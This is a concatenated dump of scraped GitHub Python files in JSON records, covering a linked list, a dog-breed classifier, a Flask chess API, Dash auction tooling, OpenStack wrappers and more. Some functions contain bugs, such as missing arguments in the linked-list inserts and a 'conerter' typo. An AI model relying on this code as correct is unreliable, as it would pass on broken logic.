self.head is None\n\n def length(self):\n \"\"\"获取链表的长度\"\"\"\n cur = self.head\n count = 0\n while cur is not None:\n count += 1\n cur = cur.next\n return count\n\n def add_fist(self, val):\n \"\"\"在链表的头部添加元素\"\"\"\n node = Node(val)\n node.next = self.head\n self.head = node\n\n def add_last(self, val):\n \"\"\"在链表的尾部添加元素\"\"\"\n node = Node(val)\n if self.is_empty():\n self.head = node\n else:\n cur = self.head\n while cur.next is not None:\n cur = cur.next\n cur.next = node\n\n def insert_node(self, index, val):\n \"\"\"在指定位置添加元素\"\"\"\n node = Node(val)\n if index < 0 or index > self.length():\n return False\n elif index == 0:\n self.add_fist()\n elif index == self.length():\n self.add_last()\n else:\n cur = self.head\n count = 0\n while count < index - 1:\n cur = cur.next\n count += 1\n node.next = cur.next\n cur.next = node\n\n def remove_node(self, val):\n \"\"\"删除指定结点\"\"\"\n cur = self.head # 指针指向的结点\n pre = None # 指针指向结点的前一个\n if self.head == val:\n self.head.next = self.head\n else:\n while cur.data is not val:\n pre = cur\n cur = cur.next\n pre.next = cur.next\n\n def search_node_is_exist(self, val):\n \"\"\"查找指定结点是否存在\"\"\"\n cur = self.head\n while cur is not None:\n if cur.val == val:\n return True\n else:\n cur = cur.next\n return False\n\n def traversal(self):\n \"\"\"遍历整个链表\"\"\"\n cur = self.head\n while cur is not None:\n print(cur.val)\n cur = cur.next\n\n\nclass Solution:\n def deleteDuplicates(self, head):\n dummy = ListNode(-1, head) # 添加一个假的辅助链表,比正常链表长一位\n cur = dummy\n while cur.next and cur.next.next: # 这里一定要加cur.next的判断,因为[-1,1,1]这种删完后cur没有两个next\n if cur.next.val == cur.next.next.val: # 比较cur的后一个和后后一个\n val = cur.next.val # 一旦相等保存这个值,后续需要用到\n while cur.next and cur.next.val == val: # 后面等于这个值的所有next节点全部删除\n cur.next = cur.next.next\n else: # 没有就常规后移\n cur = cur.next\n return dummy.next # 返回正常的\n\n\nLinkedList = SingleLinkedList()\nLinkedList.add_fist(1)\nLinkedList.add_last(1)\nLinkedList.add_last(1)\nLinkedList.add_last(2)\nLinkedList.add_last(3)\nLinkedList.add_last(4)\nprint(\"操作前链表状态:\")\nLinkedList.traversal()\n\nremoveDuplicates = Solution()\nLinkedList.head = removeDuplicates.deleteDuplicates(LinkedList.head)\n\nprint(\"操作后链表状态:\")\nLinkedList.traversal()\n","repo_name":"looking-for-my-magic-bean/leetcode","sub_path":"链表-12/remove-duplicates-from-sorted-list-ii.py","file_name":"remove-duplicates-from-sorted-list-ii.py","file_ext":"py","file_size_in_byte":3982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15165068986","text":"import sys\nfrom modules.common.check_param import CheckParam\nfrom modules.app.catch_up import CatchUp\n\nargs = sys.argv\ncheck_param = CheckParam()\n\npage_url = check_param.checkUrl(args, 'Please enter Page URL.', 1)\nenv = check_param.checkEnv(args, 'Please enter merge environment.', 2)\ncms_type = check_param.checkCMSType(args, default='WIRO', msg='Please enter your CMS Type.', num=3)\n\ncp = CatchUp(cms_type=cms_type, page_url=page_url, env=env)\ncp.start()\n","repo_name":"rkwsk1914/work-tool-python","sub_path":"catch-up.py","file_name":"catch-up.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19738364891","text":"class Solution:\n def isIsomorphic(self, s: str, t: str) -> bool:\n rep = dict()\n used = dict()\n n = len(s)\n for i in range(n):\n if s[i] in rep.keys():\n if rep[s[i]]!=t[i]:\n return False\n else:\n if t[i] in used.keys() and used[t[i]]:\n return False\n rep[s[i]]=t[i]\n used[t[i]]=True\n return True","repo_name":"bhavikjain403/LeetCode","sub_path":"205-isomorphic-strings/205-isomorphic-strings.py","file_name":"205-isomorphic-strings.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"42878178065","text":"def login_disponivel(login, lista):\n c = 0\n if login not in lista:\n return login\n else:\n for i in lista:\n if i[:len(login)] == login:\n c = c+1 \n return login+str(c)\n\nlist = []\nnew = input(\"Qual seu login? \")\nwhile new != \"fim\":\n login = login_disponivel(new, list)\n list.append(login)\n new = input(\"Qual seu login? \")\n \nprint(list)","repo_name":"gabriellaec/desoft-analise-exercicios","sub_path":"backup/user_274/ch169_2020_06_22_18_46_12_846607.py","file_name":"ch169_2020_06_22_18_46_12_846607.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24263270465","text":"import os\nimport re\nfrom matplotlib import pyplot as plt\nimport tensorflow as tf\nimport tensorflow_datasets as tfds\n\nmodel_name = 'ResNet50'\nactivation_function = 'relu',\n\ndataset, info = tfds.load(name=\"stanford_dogs\", with_info=True)\n\ntraining_data = dataset['train']\ntest_data = dataset['test']\n\n# Constants\nIMG_LEN = 224\nIMG_SHAPE = (IMG_LEN,IMG_LEN,3)\nN_BREEDS = 120\n\ndef save_convert_model(model):\n # Save the full model\n model.save('savedModels/' + model_name)\n\n concrete_func = model.__call__.get_concrete_function()\n\n # Convert to lite use on mobile\n converter = tf.lite.TFLiteConverter.from_concrete_functions([concrete_func])\n tflite_model = conerter.convert()\n\n # Save the lite version of the model\n with open('savedModels' + model_name + '_model.tflite', 'wb') as f:\n f.write(tflite_model)\n\ndef preprocess(ds_row):\n # Image conversion int->float + resizing\n image = tf.image.convert_image_dtype(ds_row['image'], dtype=tf.float32)\n image = tf.image.resize(image, (IMG_LEN, IMG_LEN), method='nearest')\n \n # Onehot encoding labels\n label = tf.one_hot(ds_row['label'],N_BREEDS)\n\n return image, label\n\ndef prepare(dataset, batch_size=None):\n ds = dataset.map(preprocess, num_parallel_calls=4)\n ds = ds.shuffle(buffer_size=1000)\n if batch_size:\n ds = ds.batch(batch_size)\n ds = ds.prefetch(buffer_size=tf.data.experimental.AUTOTUNE)\n return ds\n\ndef classifier():\n # Using mobile friendly network without fully connected layer for transfer learning\n\n base_model = tf.keras.applications.ResNet50(input_shape=IMG_SHAPE,\n include_top=False,\n weights='imagenet',\n pooling=max)\n # Freeze model\n base_model.trainable = False\n\n # Add two layers: GlobalAveragePooling2D to transform the above tensor into a vector and a single dense layer for predicting output classes\n model = tf.keras.Sequential([\n base_model,\n tf.keras.layers.GlobalAveragePooling2D(),\n tf.keras.layers.Dense(N_BREEDS, activation='relu')\n ])\n\n model.compile(optimizer=tf.keras.optimizers.Adamax(0.0001),\n loss='categorical_crossentropy',\n metrics=['accuracy', 'top_k_categorical_accuracy'])\n \n # Output 1\n model.summary() \n\n train_batches = prepare(training_data, batch_size=32)\n test_batches = prepare(test_data, batch_size=32)\n\n history = model.fit(train_batches,\n epochs=20,\n validation_data=test_batches)\n\n save_convert_model(model)\n\n # Output 2\n plt.plot(history.history['accuracy'], label='Training accuracy')\n plt.plot(history.history['val_accuracy'], label='Test accuracy')\n plt.legend()\n plt.savefig('accuracyGraphs/' + model_name + '_accuracy.svg')\n plt.show()\n\ndef main():\n print(\"Running...\\n\")\n classifier()\n \nif __name__== \"__main__\" :\n main()","repo_name":"BlueVelvetSackOfGoldPotatoes/dogBreedClassifierBeta","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5296357449","text":"from flask import Flask\nfrom flask_restful import Api, Resource, reqparse, abort, fields, marshal_with\nfrom flask_sqlalchemy import SQLAlchemy\n\nimport config\nfrom __main__ import api\nfrom chessapp import dbAlchemy\nfrom chessapp.models import ChessPuzzleModel\nfrom chessapp.api.chessPuzzleService import validate_fen\n\n\nuser_post_args = reqparse.RequestParser()\nuser_post_args.add_argument('fen', type=str, help='Fen is required', required=True)\nuser_post_args.add_argument('solution', type=str, help='Solution is required', required=True)\n\n\nclass ChessPuzzle(Resource):\n def post(self):\n args = user_post_args.parse_args()\n res = validate_fen(args['fen'])\n if not res['isValid']:\n abort(400, message='Invalid fen', \n error_count=res['error_count'],\n error_messages=res['error_messages'])\n queryResult = ChessPuzzleModel.query.filter_by(fen=args['fen']).first()\n if queryResult:\n abort(409, message=f'This puzzle has already been submitted')\n print(args['solution'])\n newPuzzle = ChessPuzzleModel(fen=args['fen'], solution=args['solution'])\n dbAlchemy.session.add(newPuzzle)\n dbAlchemy.session.commit()\n return newPuzzle.serialize()\n \n def get(self):\n result = ChessPuzzleModel.query.all()\n puzzles = {}\n for i in range(len(result)):\n puzzles[result[i].id] = {\n 'fen': result[i].fen,\n 'solution': result[i].solution\n }\n return puzzles\n\n\n\n\n\napi.add_resource(ChessPuzzle, \"/api/chesspuzzle/\")","repo_name":"Christian267/Chess-Web-App","sub_path":"chessapp/api/chessPuzzleController.py","file_name":"chessPuzzleController.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37823711019","text":"def findSmallest(arr):\n smallest = arr[0]\n smallest_index = 0\n\n for i in range(1,len(arr)):\n if(arr[i] < smallest):\n smallest = arr[i]\n smallest_index = i\n return smallest_index\n\ndef selectionSort(arr):\n newArr = []\n\n for i in range(len(arr)):\n smallest = findSmallest(arr)\n newArr.append(arr.pop(smallest))\n return newArr\n\n\nprint(\"Enter the numbers to sort : \")\nalist = [int(num) for num in input().strip().split(' ')]\nnew_list = selectionSort(alist)\nprint(\"Sorted list : \")\nprint(new_list)\n","repo_name":"shahedex/Algorithm-Practice","sub_path":"2. Selection Sort.py","file_name":"2. Selection Sort.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21198206452","text":"import logging\nimport os\n\nimport sendgrid\nfrom sendgrid.helpers.mail import *\n\n\ndef send_mail(subject, content):\n if os.environ.get('SENDGRID_API_KEY') is None:\n logging.warning(\"Skipped sending mail... Set 'SENDGRID_API_KEY' env variable to send mail\")\n return\n\n message = Mail(\n from_email=os.environ.get('STACK_OVERFLOW_EMAIL'),\n to_emails=os.environ.get('STACK_OVERFLOW_EMAIL'),\n subject=subject,\n html_content=content\n )\n\n sg = sendgrid.SendGridAPIClient(os.environ.get('SENDGRID_API_KEY'))\n response = sg.send(message)\n\n logging.debug(response.status_code)\n logging.debug(response.body)\n logging.debug(response.headers)\n","repo_name":"alexsomai/stackoverflow-fanatic-badge","sub_path":"sendgrid_helper.py","file_name":"sendgrid_helper.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"21"} +{"seq_id":"19835369062","text":"import random\r\n\r\nmax_EV = 510\r\n\r\ndef substruct_E(HP = 0, Attack = 0, Defense = 0, Speed = 0, Special_Attack = 0, Special_Defence = 0, Coolness = 0, Beauty = 0, Cuteness = 0, Smartness = 0, Toughness = 0, Feel = 0):\r\n error = 0\r\n if type(HP) == int and HP > 255 or type(HP) == int and HP < 0:\r\n error = 1\r\n print (\"Invalid \\\"HP\\\" int, 0 -> 255\")\r\n if type(Attack) == int and Attack > 255 or type(Attack) == int and Attack < 0:\r\n error = 1\r\n print (\"Invalid \\\"Attack\\\" int, 0 -> 255\")\r\n if type(Defense) == int and Defense > 255 or type(Defense) == int and Defense < 0:\r\n error = 1\r\n print (\"Invalid \\\"Defense\\\" int, 0 -> 255\")\r\n if type(Speed) == int and Speed > 255 or type(Speed) == int and Speed < 0:\r\n error = 1\r\n print (\"Invalid \\\"Speed\\\" int, 0 -> 255\")\r\n if type(Special_Attack) == int and Special_Attack > 255 or type(Special_Attack) == int and Special_Attack < 0:\r\n error = 1\r\n print (\"Invalid \\\"Special_Attack\\\" int, 0 -> 255\")\r\n if type(Special_Defence) == int and Special_Defence > 255 or type(Special_Defence) == int and Special_Defence < 0:\r\n error = 1\r\n print (\"Invalid \\\"Special_Defence\\\" int, 0 -> 255\")\r\n if type(Coolness) == int and Coolness > 255 or type(Coolness) == int and Coolness < 0:\r\n error = 1\r\n print (\"Invalid \\\"Coolness\\\" int, 0 -> 255\")\r\n if type(Beauty) == int and Beauty > 255 or type(Beauty) == int and Beauty < 0:\r\n error = 1\r\n print (\"Invalid \\\"Beauty\\\" int, 0 -> 255\")\r\n if type(Cuteness) == int and Cuteness > 255 or type(Cuteness) == int and Cuteness < 0:\r\n error = 1\r\n print (\"Invalid \\\"Cuteness\\\" int, 0 -> 255\")\r\n if type(Smartness) == int and Smartness > 255 or type(Smartness) == int and Smartness < 0:\r\n error = 1\r\n print (\"Invalid \\\"Smartness\\\" int, 0 -> 255\")\r\n if type(Toughness) == int and Toughness > 255 or type(HP) == Toughness and Toughness < 0:\r\n error = 1\r\n print (\"Invalid \\\"Toughness\\\" int, 0 -> 255\")\r\n if type(Feel) == int and Feel > 255 or type(Feel) == int and Feel < 0:\r\n error = 1\r\n print (\"Invalid \\\"Feel\\\" int, 0 -> 255\")\r\n if error == 1:\r\n return (None)\r\n if type(HP) != int:\r\n HP = random.randint(0, 85)\r\n if type(Attack) != int:\r\n Attack = random.randint(0, 85)\r\n if type(Defense) != int:\r\n Defense = random.randint(0, 85)\r\n if type(Speed) != int:\r\n Speed = random.randint(0, 85)\r\n if type(Special_Attack) != int:\r\n Special_Attack = random.randint(0, 85)\r\n if type(Special_Defence) != int:\r\n Special_Defence = random.randint(0, 85)\r\n if type(Coolness) != int:\r\n Coolness = random.randint(0, 255)\r\n if type(Beauty) != int:\r\n Beauty = random.randint(0, 255)\r\n if type(Cuteness) != int:\r\n Cuteness = random.randint(0, 255)\r\n if type(Smartness) != int:\r\n Smartness = random.randint(0, 255)\r\n if type(Toughness) != int:\r\n Toughness = random.randint(0, 255)\r\n if type(Feel) != int:\r\n Feel = random.randint(0, 255)\r\n EV = HP + Attack + Defense + Speed + Special_Attack + Special_Defence\r\n if EV > max_EV:\r\n print (\"EV total:\", EV, \"too high! Possible Bad Egg?\")\r\n return (hex(HP)[2:].zfill(2).upper() + hex(Attack)[2:].zfill(2).upper() + hex(Defense)[2:].zfill(2).upper() + hex(Speed)[2:].zfill(2).upper() + hex(Special_Attack)[2:].zfill(2).upper() + hex(Special_Defence)[2:].zfill(2).upper() + hex(Coolness)[2:].zfill(2).upper() + hex(Beauty)[2:].zfill(2).upper() + hex(Cuteness)[2:].zfill(2).upper() + hex(Smartness)[2:].zfill(2).upper() + hex(Toughness)[2:].zfill(2).upper() + hex(Feel)[2:].zfill(2).upper())\r\n","repo_name":"adamboy7/PyKHeX","sub_path":"substruct_E.py","file_name":"substruct_E.py","file_ext":"py","file_size_in_byte":3727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71099007412","text":"from app import db\nfrom app.exceptions import ApiException\nfrom app.utils.get_items_by_model import get_items_by_model, get_one_item_by_model\nfrom app.utils.set_attr_by_dict import set_attr_by_dict\nfrom app.modules.file.file_services import add_item as add_file, S3File, S3FileSchema\n\nfrom ..models import Customer, CustomerSchema, CustomerAddress, CustomerPaymentAccount\n\n\ndef add_item(data):\n item = None\n print(data)\n if int(data[\"customer_id\"]) == 0:\n if \"customer_number\" in data and len(str(data[\"customer_number\"]))>0:\n item = Customer.query.filter(Customer.customer_number == data[\"customer_number\"]).first()\n if item is None and \"lead_number\" in data and len(str(data[\"lead_number\"]))>0:\n item = Customer.query.filter(Customer.lead_number == data[\"lead_number\"]).first()\n else:\n item = Customer.query.filter(Customer.id == data[\"customer_id\"]).first()\n if item is not None:\n data[\"model\"] = \"customer\"\n data[\"model_id\"] = item.id\n data[\"filename\"] = data[\"type\"] + \"/\" + data[\"filename\"]\n new_item = add_file(data)\n return new_item\n else:\n raise ApiException(\"item_not_found\", \"Customer not found.\", 404)\n\n\ndef update_item(id, data):\n item = db.session.query(S3File).get(id)\n if item is not None:\n item = set_attr_by_dict(item, data, [\"id\"])\n db.session.commit()\n return item\n else:\n raise ApiException(\"item_doesnt_exist\", \"Item doesn't exist.\", 404)\n\n\ndef get_items(tree, sort, offset, limit, fields):\n return get_items_by_model(S3File, S3FileSchema, tree, sort, offset, limit, fields)\n\n\ndef get_one_item(id, fields = None):\n return get_one_item_by_model(S3File, S3FileSchema, id, fields)\n\n","repo_name":"vrcompugo/EV-Manager-Data-API","sub_path":"app/modules/customer/services/customer_file_services.py","file_name":"customer_file_services.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19659765862","text":"from lib import *\r\nimport frame_effects.effects\r\n\r\nclass guiClass():\r\n\r\n def __init__(self, windowName):\r\n \"\"\"Initialize class before event loop. \r\n Also do webcam setup and effects setup here\"\"\"\r\n\r\n # initialize effects class\r\n self.mode = \"cartoonify\"\r\n\r\n self.effectRunner = frame_effects.effects.frameEffect()\r\n\r\n # initialize webcam and check if opened correctly\r\n self.cap = cv2.VideoCapture(0)\r\n if not self.cap.isOpened():\r\n raise IOError(\"Cannot open webcam\")\r\n\r\n # gui setup\r\n self.windowName = windowName\r\n\r\n cv2.namedWindow(self.windowName)\r\n\r\n # create buttons and sliders\r\n # # to enable buttons must compile openCV with QT. Pain to do right now.\r\n # cv2.createButton('Turn OFF', self.button_do, 'off')\r\n # cv2.createButton('Normal', self.button_do, 'normal')\r\n # cv2.createButton('Cartoonizer', self.button_do, 'cartoonify')\r\n # cv2.createButton('Take Picture', self.button_do, 'cartoonify')\r\n sliders = [\r\n self.make_slider(1, 100, 0, 'intensity', self.windowName)\r\n ]\r\n\r\n def eventLoop(self):\r\n \"\"\"Event loop for this gui class to be called in an infinite loop\r\n \"\"\"\r\n\r\n # get slider values\r\n param = self.get_slider('intensity', win_name=self.windowName)\r\n\r\n # get webcam frame and get 'effectized' frame\r\n ret, frame = self.cap.read()\r\n returned_frame = self.effectRunner.runEffect(self.mode, frame, param)\r\n\r\n # show returned frame\r\n cv2.imshow(self.windowName, returned_frame)\r\n\r\n def button_do(self, mode: str) :\r\n \"\"\"Gets triggered when a button is hit, changing class mode.\r\n\r\n Parameters\r\n ----------\r\n mode : str\r\n the mode corresponding to the button hit\r\n \"\"\"\r\n if mode == 'Take Picture':\r\n param = self.get_slider('intensity', win_name=self.windowName)\r\n ret, frame = self.cap.read()\r\n returned_frame = self.effectRunner.runEffect(self.mode, frame, param)\r\n now = datetime.now()\r\n cv2.imwrite(f'./image_{now.strftime(\"%d-%m-%Y_%H_%M_%S\")}.jpg', returned_frame)\r\n else :\r\n self.mode = mode\r\n\r\n def make_slider(self, min: int, max: int, default: int, slider_id: str, win_name: str) -> str:\r\n \"\"\"Function to easily make slider gui element\r\n\r\n Parameters\r\n ----------\r\n min : int\r\n minimum slider value\r\n max : int\r\n maximum slider value\r\n default : int\r\n default slider value\r\n slider_id : str\r\n name of slider\r\n win_name : str\r\n name of window that slider will exist in\r\n\r\n Returns\r\n -------\r\n str\r\n the slider_id of the slider created\r\n \"\"\"\r\n\r\n cv2.createTrackbar(slider_id, win_name, min, max, lambda x: x)\r\n cv2.setTrackbarPos(slider_id, win_name, default)\r\n return slider_id\r\n\r\n def get_slider(self, *ids, win_name: str) :\r\n \"\"\"Gets a series of trackbar positions given a list of trackbar objects\r\n\r\n Parameters\r\n ----------\r\n *ids :\r\n the list holding the trackbar id's. or single slider_id\r\n root_wind : str\r\n window name that the trackbars sit in\r\n\r\n Returns\r\n -------\r\n array of ints:\r\n list of trackbar positions, or single slider_id\r\n \"\"\"\r\n\r\n try:\r\n results = [cv2.getTrackbarPos(idd, win_name) for idd in ids]\r\n return results[0] if len(results) == 1 else results\r\n except Exception as e:\r\n print(f'Error in fetching slider value - {str(e)}')\r\n return None\r\n\r\n def set_slider(slider_id: str, value: int, win_name: str):\r\n \"\"\"Sets a slider position given an id\r\n\r\n Parameters\r\n ----------\r\n slider_id : str\r\n slider_id of trackbar to set\r\n value : int\r\n value to set trackbar to\r\n win_name : str\r\n window name where trackbar exists\r\n \"\"\"\r\n \r\n cv2.setTrackbarPos(slider_id, win_name, value)","repo_name":"mihirsavadi/Webcam-EffectsProcessor","sub_path":"gui/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":4220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12558647464","text":"\r\n#Daily Tasks WebApp Project\r\n\r\nwork_schedule={\r\n \"Sunday\":[\"1100 - 1900\"],\r\n \"Monday\":[\"Off\"],\r\n \"Tuesday\":[\"1000 - TBD\"],\r\n \"Wednesday\":[\"1000 - TBD\"],\r\n \"Thursday\":[\"1000 - TBD\"],\r\n \"Friday\":[\"1200 - 2000\"],\r\n \"Satuday\":[\"1100 - 2100\"],\r\n }\r\n\r\ndef print_schedule():\r\n for key in work_schedule:\r\n print_times(key)\r\n\r\n\r\ndef print_times(key):\r\n work_times = work_schedule.get(key)\r\n print(work_times)\r\n\r\n\r\ndef get_input(message):\r\n user_input = input(message)\r\n return user_input\r\n\r\n\r\nif __name__ == \"__main__\":\r\n for key in work_schedule:\r\n message = f\"Enter the day: \"\r\n print_times(key)\r\n when_to_work = get_input(message)\r\n print_times()\r\n","repo_name":"pastacks/daily_tasks","sub_path":"Daily Tasks.py","file_name":"Daily Tasks.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28273328780","text":"from collections.abc import Mapping\n\nfrom hammers.osrest.base import BaseAPI\n\n\nAPI = BaseAPI('network')\n\n\ndef floatingip_delete(auth, floatingip):\n \"\"\"Frees a floating IP by ID\"\"\"\n if isinstance(floatingip, Mapping):\n floatingip = floatingip['id']\n\n response = API.delete(auth, '/v2.0/floatingips/{}'.format(floatingip))\n\n # 204 No Content is normal.\n return response\n\n\ndef floatingips(auth):\n \"\"\"Get all floating IPs, returns a dictionary keyed by ID.\"\"\"\n response = API.get(auth, '/v2.0/floatingips')\n\n return {fip['id']: fip for fip in response.json()['floatingips']}\n\n\ndef network(auth, net):\n \"\"\"Gets a network by ID, or mapping containing an ``'id'`` key.\"\"\"\n if isinstance(net, Mapping):\n net = net['id']\n\n response = API.get(auth, '/v2.0/networks/{}'.format(net))\n\n return response.json()['network']\n\n\ndef networks(auth):\n \"\"\"Get all networks. Returns dictionary keyed by ID.\"\"\"\n response = API.get(auth, '/v2.0/networks')\n\n return {net['id']: net for net in response.json()['networks']}\n\n\ndef port_delete(auth, port):\n \"\"\"Deletes a port by ID, or mapping containing an ``'id'`` key.\"\"\"\n if isinstance(port, Mapping):\n port = port['id']\n\n response = API.delete(auth, '/v2.0/ports/{}'.format(port))\n\n return response\n\n\ndef ports(auth):\n \"\"\"Get all ports. Returns a dictionary keyed by port ID.\"\"\"\n response = API.get(auth, '/v2.0/ports')\n response.raise_for_status()\n data = response.json()\n return {n['id']: n for n in data['ports']}\n\n\ndef subnet(auth, subnet):\n \"\"\"Get subnet info. Accepts ID or mapping containing an ``'id'`` key.\"\"\"\n if isinstance(subnet, Mapping):\n subnet = subnet['id']\n\n response = API.get(auth, '/v2.0/subnets/{}'.format(subnet))\n\n return response.json()['subnet']\n\n\ndef subnets(auth):\n \"\"\"Get all subnets.\"\"\"\n response = API.get(auth, '/v2.0/subnets')\n\n return {subnet['id']: subnet for subnet in response.json()['subnets']}\n\n\n__all__ = [\n 'neutron_port_delete',\n 'neutron_ports',\n]\n\nneutron_port_delete = port_delete\nneutron_ports = ports\n","repo_name":"ChameleonCloud/hammers","sub_path":"hammers/osrest/neutron.py","file_name":"neutron.py","file_ext":"py","file_size_in_byte":2103,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"73504073011","text":"import pandas as pd\r\nimport base64\r\nimport io\r\nimport dash\r\nimport dash_bootstrap_components as dbc\r\nimport dash_html_components as html\r\nfrom auction import auction_form, sidebar, main_content2\r\nfrom layout import layout\r\nfrom components.header import header\r\nfrom dash import dcc, ctx, no_update\r\n# import price_estimator\r\nfrom price_estimator import layout_pe\r\nfrom dash.dependencies import Input, Output, State\r\nfrom components.excel_upload_button import upload_button\r\nfrom pages.page_404 import jumbotron\r\nfrom algorithms import stratification_warehouse\r\napp = dash.Dash(__name__, external_stylesheets=[dbc.themes.BOOTSTRAP], suppress_callback_exceptions=True)\r\n\r\n# Мы будем добавлять камни построчно поэтому это список\r\n# Всегда дешевле добавить к списку и создать DataFrame за один раз, чем создавать пустой DataFrame (или один из NaN) и добавлять к нему снова и снова.\r\n#\r\n# Списки также занимают меньше памяти и представляют собой гораздо более легкую структуру данных для работы , добавления и удаления (при необходимости).\r\n#\r\n# dtypes автоматически выводятся (вместо того, чтобы присваиваться object им всем).\r\n#\r\n# A RangeIndex автоматически создается для ваших данных , и вам не нужно заботиться о присвоении правильного индекса строке, которую вы добавляете на каждой итерации.\r\nauction_df = []\r\nCONTENT_STYLE = {\r\n \"margin-left\": \"0rem\",\r\n \"margin-right\": \"2rem\",\r\n \"padding\": \"2rem 1rem\",\r\n}\r\n\r\napp.layout = html.Div([\r\n dcc.Location(id='url', refresh=False),\r\n dcc.Download(id=\"download\"),\r\n # header,\r\n dbc.Container([\r\n dbc.Container(id=\"main-content\", style=CONTENT_STYLE)\r\n ], className=\"text-center\")\r\n])\r\n\r\nserver = app.server\r\n\r\n\r\n# Создайте колбек для кнопки подбора товаров со склада на аукцион\r\n# @app.callback(\r\n# Output(\"main-content\", \"children\"),\r\n# [Input(\"auction-selection-button\", \"n_clicks\"),\r\n# Input(\"price-estimation-button\", \"n_clicks\")],\r\n# [dash.dependencies.State(\"main-content\", \"children\")],\r\n# )\r\n# Определите обратные вызовы для обновления страницы\r\n@app.callback(Output('main-content', 'children'),\r\n Input('url', 'pathname'))\r\ndef display_page(pathname):\r\n if pathname == '/auction-selection':\r\n return [sidebar, main_content2]\r\n elif pathname == '/price-estimation':\r\n return layout_pe\r\n else:\r\n return jumbotron\r\n\r\n# Загрузка файла Excel и сохранение его в датафрейм\r\n@app.callback(\r\n Output(\"table\", \"rowData\"), # Обновить данные в DataTable\r\n Output(\"table\", \"columnDefs\"), # Обновить название колонок в DataTable\r\n Input(\"upload-data\", \"contents\"),\r\n State(\"upload-data\", \"filename\"),\r\n)\r\ndef upload_file(contents, filename):\r\n\r\n if ctx.triggered_id == \"upload-data\":\r\n content_type, content_string = contents.split(\",\")\r\n decoded = base64.b64decode(content_string)\r\n try:\r\n if \"xlsx\" in filename:\r\n df = pd.read_excel(io.BytesIO(decoded))\r\n except Exception as e:\r\n return html.Div([\"Ошибка при загрузке файла: {}\".format(e)])\r\n\r\n df['id'] = df.index\r\n rowData = df.to_dict('records')\r\n columnDefs = [{\"field\": i} for i in df.columns]\r\n columnDefs[0].update({\"checkboxSelection\": True})\r\n\r\n return rowData, columnDefs\r\n\r\n\r\n\r\n# Колбэк для ручного управления в таблице\r\n@app.callback(\r\n Output(\"table\", \"rowTransaction\"),\r\n Input(\"warehouse-remove\", \"n_clicks\"),\r\n Input(\"warehouse-update\", \"n_clicks\"),\r\n State(\"table\", \"selectedRows\"),\r\n)\r\ndef update_rowdata(n1, n2, selection):\r\n if ctx.triggered_id == \"warehouse-remove\":\r\n print('1')\r\n if selection is None:\r\n print('2')\r\n return no_update\r\n return {\"remove\": selection}\r\n\r\n if ctx.triggered_id == \"warehouse-update\":\r\n if selection is None:\r\n return no_update\r\n for row in selection:\r\n auction_df.append(row)\r\n print(auction_df)\r\n return {\"remove\": selection}\r\n\r\n# Колбэк для сбора аукциона\r\n@app.callback(\r\n Output(\"download\", \"data\"),\r\n Input(\"submit-button\", \"n_clicks\"),\r\n State(\"table\", \"rowData\"),\r\n State(\"table\", \"columnDefs\"),\r\n State(\"lot-count\", \"value\"),\r\n # State(\"stock-percentage\", \"value\"),\r\n State(\"ba-percentage\", \"value\")\r\n)\r\ndef generate_reports(n_clicks, rowData, columnDefs, lots_count, ba):\r\n if n_clicks:\r\n dfOut = pd.DataFrame(rowData)\r\n print(lots_count)\r\n print(ba)\r\n print(auction_df)\r\n dfOut = pd.concat([pd.DataFrame(auction_df), stratification_warehouse(dfOut, lots_count - len(auction_df), ba)], ignore_index=True)\r\n\r\n # dfOut = stratification_warehouse(dfOut, lots_count - len(auction_df), ba)\r\n dfOut.to_excel(\"app/data/output.xlsx\", index=False)\r\n return dcc.send_file(\"app/data/output.xlsx\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app.run_server(debug=True)\r\n","repo_name":"Yellowbaron/dash","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5609,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28651862985","text":"from django.urls import path \nfrom core import views\n\napp_name = 'core'\n\nurlpatterns = [\n path('',views.index,name='index'),\n path('registration/',views.registrationPage,name='registration'),\n path('login/',views.loginView,name=\"login\"),\n path('logout/',views.logoutView,name=\"logout\"),\n]","repo_name":"amiel-git/AdamsonAttendance","sub_path":"core/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21327816038","text":"#!/usr/bin/python3\n\n'''\nAuthor : Anish Kumar\nE-Mail : embuddy.tech@gmail.com\nDate : Tue Feb 5 21:26:46 IST 2019\n\n'''\n#https://24timezones.com/time-zone/ist\n#<span class=\"hours\">8</span><span class=\"minutes\">52</span><span class=\"seconds\">18</span><sup>am</sup>\n\nfrom bs4 import BeautifulSoup \nimport requests\nimport re\nurl = 